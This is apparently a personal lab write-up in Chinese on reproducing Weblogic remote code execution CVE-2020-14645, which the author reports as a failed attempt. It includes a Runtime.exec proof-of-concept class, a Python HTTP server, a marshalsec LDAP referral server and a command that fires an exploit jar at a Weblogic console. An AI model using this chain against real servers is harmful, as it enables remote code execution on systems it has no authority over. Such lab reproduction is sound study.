# Weblogic 远程代码执行 （CVE-2020-14645）（暂时复现失败）

# 影响版本

# Oracle Weblogic Server 10.3.6.0.0

# Oracle Weblogic Server 12.1.3.0.0

# Oracle Weblogic Server 12.2.1.4.0

# 复现流程

# 编写poc（弹窗等）

# 编译poc为class文件 启动python server

# 安装weblogic 访问ip:7001/console

# 启动LDAP服务用于转发到poc

# 使用工具CVE-2020-14645.jar

# java -jar target/CVE-2020-14645.jar LDAP\_IP:LDAP\_PORT/#CLASS\_NAME WEBLOGIC\_URL

# 安装weblogic

# 使用的是jdk8(JDK：6u211以下；7u201以下；8u191以下)

# Weblogic Version 12.2.1.4.0

# （下载地址[https://download.oracle.com/otn/nt/middleware/12c/122140/fmw\_12.2.1.4.0\_wls\_Disk1\_1of1.zip](https://download.oracle.com/otn/nt/middleware/12c/122140/fmw_12.2.1.4.0_wls_Disk1_1of1.zip" \t "_blank)）

# 解压之后 Java -jar里面的jar 这里可能会出现Java版本的问题

# 图形用户界面, 文本 描述已自动生成

图形用户界面, 应用程序

描述已自动生成

# 配置过程 密码12345678

# 图形用户界面, 文本, 应用程序 描述已自动生成

安装完成之后 找到Oracle/Middleware/Oracle\_Home/user\_projects/domains/base\_domain目录

# 启动weblogic

# ip:7001/console 就可以正常访问了

# 图形用户界面, 文本, 应用程序, 电子邮件, 网站 描述已自动生成

# Python开启的服务都是通过ldap去转发的

# 1234:python server的端口

# 7001:weblogic的端口

# 1389:ldap默认端口

# 先写弹窗的poc

public class **EXP *{*** public EXP***()*** throws **Exception *{* Runtime**.*getRuntime****()***.exec***(***"open /System/Applications/Calculator.app"***)***;  
 ***}*** public static void main***(*String*[]*** args***)*** throws **Exception *{* System**.*out*.println***(***"开始执行"***)***;  
 new EXP***()***;  
 ***}  
}***

# 启动Python server

# 然后在该classes底下打开python server ：python -m SimpleHTTPServer 1234

# 打开ldap服务 连接python server

# java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer <http://0.0.0.0:1234/#EXP>

# 默认端口是1389

# 然后 利用payload去攻击weblogic

# Weblogic地址是 <http://192.168.1.6:7001/console>

# 使用工具https://github.com/DSO-Lab/Weblogic\_CVE-2020-14645

# java -jar CVE-2020-14645.jar 0.0.0.0:1389/#EXP http://192.168.1.6:7001/console

# （如果有漏洞 就会通过ldap去执行python server上的EXP 但是这里复现失败了 可能是因为Java的版本高了 没有弹窗）

# 换个jdk7重新复现,换成了1.7.0还是不行

# 漏洞原理

# 在代码执行上加了一个工具的使用